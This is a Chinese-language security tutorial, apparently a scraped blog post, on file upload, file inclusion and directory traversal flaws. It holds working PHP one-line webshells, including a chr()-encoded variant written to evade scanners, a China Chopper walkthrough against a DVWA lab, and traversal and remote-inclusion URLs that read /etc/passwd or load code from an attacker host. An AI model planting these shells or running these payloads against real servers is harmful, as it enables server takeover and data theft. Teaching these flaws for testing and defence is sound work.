文件上傳、文件包含和目路遍歷是《黑客防線》盛行的時代常談的getshell手法,但到如今的安全書藉感受就比較少說起或一筆帶過。在談的年代看不懂,在看得懂的年代又不談了,概念感受老是很模糊因此想探究一翻。php
以假設當前服務端具備上傳圖片功能爲例。html
文件上傳漏洞是指利用程序提供的文件上傳功能,上傳當前中間件可執行的腳本文件。好比tomcat就上傳jsp文件等。git
其實文件上傳不是你能把腳本文件傳上去就成功了,你還得知道其上傳到的位置,還須要上傳到的目錄容許執行,不然傳了上去也無法利用。github
嚴格來講,文件上傳還可能致使其餘問題,好比上傳超大文件形成佔用帶寬佔滿磁盤等,不過這裏就暫且不講了。web
防禦手段 | 上傳方法 | 利用難度 |
無防禦手 | 直接上傳.jsp文件 | 易 |
服務器端content-type頭校驗 | burpsuite截包直接修改爲image/jpeg等 | 易 |
服務器端文件幻數檢測 | 在腳本開頭加上幻數便可 | 易 |
服務器端黑名單 | 中間件可能支持多個擴展名,改爲不在黑名單中的。或者傳一個.jsp.xxx配合中間件文件解析漏洞 | 前易後難,由於之前的文件解析漏洞都被補上了 |
瀏覽器端白名單 | 先將.jsp改成.jpg上傳時burpsuite攔包改回.jsp便可 | 易 |
服務器端白名單 | 上傳文件,配合文件包含漏洞 | 難。須要先存在文件包含 |
文件上傳是爲了控制服務器,因此傳的要麼是小馬要麼是大馬。shell
所謂小馬,就是一句話木馬。能作爲木馬的單條代碼,要麼具備能動態執行語句的函數,要麼具備能調用系統命令的函數。小馬須要客戶端給小馬指定要執行什麼命令,最經典的小馬客戶端應該是中國菜刀。經典的php小馬長這樣:數據庫
<?php @eval($_POST[「cmd」]);?>
所謂大馬,就是本身具備web界面供用戶操做的webshell,因爲具備界面因此不須要客戶端。典型的大馬長這樣(圖片來自百度百科):瀏覽器
webshell密碼在小馬和大馬中其實不是一個意思。tomcat
大馬的密碼,是黑客爲了防止別的黑客發現其大馬後能夠直接利用而加入的驗證語句,大馬的密碼就是咱們日常認知的密碼。安全
而小馬密碼,是指webshell獲取提交時用的參數名,只有參數名對了一句話才能獲取到提交的內容,因此一句話木馬的「密碼」必然是存在的而不是故意加上去的。
好比在如下一句話中,「密碼」是cmd(咱們在我一些教程中看到的暴破小馬密碼操做,其實質就是在猜一句話究竟是獲取什麼參數名的值)
<?php @eval($_POST["cmd"]);?>
固然若是你想----雖然沒什麼意思----也徹底能夠給一句話加一個真正的密碼,好比前邊的一句話被改爲以下:
<?php if(md5($_POST["pwd"])=="e10adc3949ba59abbe56e057f20f883e")@eval($_POST["cmd"]); ?>
首先,咱們要理解防禦程序對webshell的查殺是根據「特徵碼」查殺的,好比只要上傳的文件中含有eval就認爲其是webshell。
而後,咱們須要明確最後咱們必然是要使用eval這類函數的,否則沒法執行代碼。
因此,免殺的概念就能夠定義爲:使用不包含特徵碼的語句來生成eval等特徵碼的操做。非特徵碼語句生成特徵碼通常經過是編碼實現的。
好比,弄成下面這樣,通過各類編碼最後生成eval函數執行客戶端提交:
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
看到系統有文件上傳的地方就測一下2.2中說的各類手法能不能上傳webshell。
小馬內容以下,保存爲yijuhua.php(我這裏上傳後的文件地址是http://10.10.6.91/dvwa/hackable/uploads/yijuhua.php):
<?php @eval($_POST["cmd"]);?>
打開菜刀,在主界面空白處右鍵,而後點擊右鍵菜單中的「添加」按鈕添加shell。地址處填寫小馬的URL,地址右側填寫eval()取的參數名(即所謂的密碼),配置填寫數據庫的信息若是不知道或不想連數據庫能夠不用管。
添加完成後在主界面便可看到添加的小馬,選中後在其上右鍵即會出現可進行的操做,通常使用「文件管理」和「虛擬終端」。
咱們以打開虛擬終端執行一條命令做爲演示,結果以下,證實成功執行。
咱們使用wireshark追蹤上述過程的數據流,能夠看到其工做原理就是給cmd參數賦值而後post,其餘文件管理什麼的也都同樣。
文件包含是指當前腳本文件可經過include等函數,導入其餘文件的代碼到本文件引起的漏洞。
若是「其餘文件」能夠是本地文件(本機上的文件)那就是本地文件包含漏洞,若是「其餘文件」能夠遠程文件(其餘機器上的文件)那就是遠程文件包含漏洞。也就是說這兩種漏洞產生的位置是同樣的,只是由於利用形式不一樣才把他們區分開來。
本地文件包含漏洞一是能夠查看本地敏感文件,二是能夠配合文件上傳漏洞執行攻擊代碼。
好比當前存在頁面http://www.vuln.com/vuln.php?page=xxx,其代碼以下:
if (isset($_GET['page'])) { include $_GET['page'].'.php'; } else { include "default.php"; }
使用http://www.vuln.com/vuln.php?page=../../etc/passwd%00那就能夠查看/etc/passwd文件的內容(固然得基於..個數對的前提下)
使用http://www.vuln.com/vuln.php?page=../../webshell.jpg%00(webshell.jpg中是文件上傳中上傳的攻擊代碼)就能執行webshell.jpg中的攻擊代碼。
遠程文件包含通常是用於包含遠程攻擊主機上的惡意代碼文件實現攻擊。
仍是上邊的http://www.vuln.com/vuln.php?page=xxx,若是存在遠程文件包含
那使用http://www.vuln.com/vuln.php?page=http://www.hack.com/webshell,訪問那麼http://www.hack.com/webshell.php的代碼就會被執行。
看到像指定文件名的參數
本地文件包含----把該參數改爲其餘文件名,看能不能包含。
遠程文件包含----把該參數改爲百度首頁,看能不能包含。
目錄遍歷是指攻擊者能夠經過,將文件變量改爲../../etc/passwd等形式下載預期外文件的漏洞。
按目錄遍歷的定義會產生一個問題,這樣的話目錄遍歷和上邊的本地文件包含引發的本地敏感文件泄漏有什麼區別呢?
從技術上來看,文件包含形成的信息泄漏是經過include、read等函數把文件讀取到當前文件內進行展現;而目錄遍歷是中間件配置引起的問題。
從url表現上看,文件包含形成的信息泄漏文件名是一個參數,而目錄遍歷中的文件名在url中而不是一個參數。
從內容表現來看,文件包含形成的信息泄漏泄漏的信息是展現在html文件中;而目錄遍歷引起的信息泄漏是泄漏文件本身。
好比同是/etc/passwd:
漏洞 | url | 內容表現 |
文件包含 | http://www.vuln.com/vlun.php?filename=../../etc/passwd | 訪問到的是vlun.php對應的html文件,/etc/passwd的內容被插入在該html文件中顯示 |
目錄遍歷 | http://www.vuln.com/../../etc/passwd | 訪問到的就是/etc/passwd自己,而不是將其內容顯示在其餘文件中 |
一個網站,找到兩個不一樣目錄的文件,訪問其中一個文件後,試看能不能經過../方式訪問到另一個文件。
若是能夠試試看能不能訪問非本網站目錄下的文件。若是不能夠那就是本網站沒目錄遍歷漏洞。
參考: